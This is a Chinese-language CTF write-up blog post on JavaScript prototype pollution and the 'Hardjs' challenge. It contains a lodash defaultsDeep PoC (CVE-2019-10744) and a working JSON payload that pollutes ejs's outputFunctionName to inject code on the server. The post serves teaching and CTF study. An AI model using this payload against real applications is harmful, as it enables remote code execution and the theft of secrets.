JavaScript 原型链污染 (Prototype Pollution) && Hardjs 复现与分析

点击阅读

0x01 基本知识

在 JavaScript 中有一点与 Python 一样,那就是 “一切皆对象”

对象的定义:

1. 直接定义一个对象

这种方式无需使用类模版,也就是类似以下这种定义:

1
2
3
4
5
6
class Object():
def __init__(self):
pass

Ob1 = Object()
Ob2 = Object()

2. 使用构造函数定义类模版

这样方便批量实例化对象

对象的属性通过方括号.来访问

prototype (原型)

在 ES4 中对 prototype 有这样的描述:

每个类对象都有一个常量属性原型,它保存对作为类实例原型的对象的引用,并且每个实例都有一个隐藏的引用到它的原型。原型包含在引用它的所有对象之间共享的值。对象原型上的属性在偶然观察者看来是对象本身的属性:从对象中读取属性将在原型中找到属性(如果在那里定义而不是在对象中)。(Google 翻译)

举个例子:这里我整一个 Array 对象 a1,并给它一个 sum 方法求和

能看到 a1.sum() 顺利求和,而同为 Array 对象的 a2 确不行,如果要让所有的 Array 对象都能够拥有 sum 求和方法怎么办,可以通过修改 Array 的原型来实现,添加一个 Array.prototype.sum 即可

这样应该就很好理解原型了,可以将其看作是 CSS 里面的 class,修改了 class 后,所有使用该 class 的 html 元素的样式都会被改变,无须对每个元素用 style 了

__proto__

对象__proto__属性的值就是它所对应的原型对象

因为所有实例对象都拥有一个 __proto__,用于访问其原型对象,而原型对象又引出它的原型对象, 这么一层层的调用下来就构成了 “原型链”

接着上面的例子,调用到最后没有了原型对象便是 NULL

创建函数时,JS 会为这个函数自动添加 prototype 属性,值是一个有 constructor 属性的对象。而一旦你把这个函数当作构造函数(constructor)调用(即通过new关键字调用),那么 JS 就会帮你创建该构造函数的实例,实例继承构造函数 prototype 的所有属性和方法(实例通过设置自己的 __proto__ 指向构造函数的 prototype 来实现这种继承)

使用 __proto__ 修改原型属性示例

0x02 Hardjs

在安装好依赖后,使用 npm audit 检测依赖有没有漏洞 ,报错的可以试下挂个代理用 proxychains4 后面再加上 --registry=https://registry.npmjs.org

检测到了 lodash 的一个原型链污染漏洞

在源码到第 182 行调用了 lodash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
app.get("/get",auth,async function(req,res,next){

var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);

if(dataList[0].count == 0 ){
res.json({})

}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

console.log("Merge the recorder in the database.");

var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();

for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);

if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}

}else {

. . . . . .
}

});

从 package.json 能看到 lodash 版本为 4.17.11,对应漏洞 CVE-2019-10744,可以利用函数 defaultsDeep 添加或修改 Object.prototype 的属性,漏洞 PoC

1
2
3
4
5
6
7
8
9
10
11
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

这里明显就是将构造好的 Payload 数据插入多次,然后访问 /get 即可触发原型链污染,问题是要污染什么地方

从一开始就引入了 ejs 来渲染模版,那么从 res.render('index'); 开始分析,Goto Definition 转到定义

/node_modules/express/lib/response.js

1
2
3
4
5
6
7
8
9
10
11
12
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;

. . . . . .

// render
app.render(view, opts, done);
};

调用了 app.render,继续跟

/node_modules/express/lib/application.js

1
2
3
4
5
6
7
8
9
10
11
12
13
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;

. . . . . .

// render
tryRender(view, renderOptions, done);
};

tryRender 同样位于 application.js

1
2
3
4
5
6
7
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}

跟进 view.render

/node_modules/express/lib/view.js

1
2
3
4
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};

开始调用模版渲染引擎,这里会根据模版文件后缀自动调用相应的模块,如 View 中有关代码

1
2
3
4
5
6
// load engine
var mod = this.ext.substr(1)
debug('require "%s"', mod)

// default engine export
var fn = require(mod).__express

注意这个默认引擎出口 var fn = require(mod).__express,在 ejs.js 914 行有定义 exports.__express = exports.renderFile;,也就是默认使用 renderFile 函数

1
2
3
4
5
6
7
8
9
10
11
12
13

exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;

. . . . . .

return tryHandleCache(opts, data, cb);
};

接着调用 tryHandleCache 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function tryHandleCache(options, data, cb) {
var result;
if (!cb) {
if (typeof exports.promiseImpl == 'function') {
return new exports.promiseImpl(function (resolve, reject) {
try {
result = handleCache(options)(data);
resolve(result);
}
catch (err) {
reject(err);
}
});
}
else {
throw new Error('Please provide a callback function');
}
}
else {
try {
result = handleCache(options)(data);
}
catch (err) {
return cb(err);
}

cb(null, result);
}
}

大体就是经过 handleCache 函数处理后返回最终的页面

1
2
3
4
5
6
7
8
9
10
11
12
13
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;

. . . . . .

func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}

再跟进 compile 看到各种代码拼接

可以利用 outputFunctionName 通过原型链污染注入恶意代码,

注意 server.js 中这一行 app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()),服务器会解析我们发送的 JSON 数据

通过 constructor 方法给原型加上我们“污染“后的 outputFunctionName 属性

Payload:

1
{"type":"111","content":{"constructor":{"prototype":{"outputFunctionName":"__append; return process.env.FLAG; __append"}}}}

最终更改 Content-Type: application/json; charset=UTF-8 发送 Payload 执行 /add 操作 5 次,再通过访问 /get 利用 lodash 漏洞进行原型链污染,再回到首页即可返回 flag

Reference:

https://blog.szfszf.top/tech/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E5%88%86%E6%9E%90/

https://github.com/creeperyang/blog/issues/9

https://xz.aliyun.com/t/6113#toc-6

文章作者: J0k3r
文章链接: http://j0k3r.top/2019/09/10/js_prototype_pollution/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog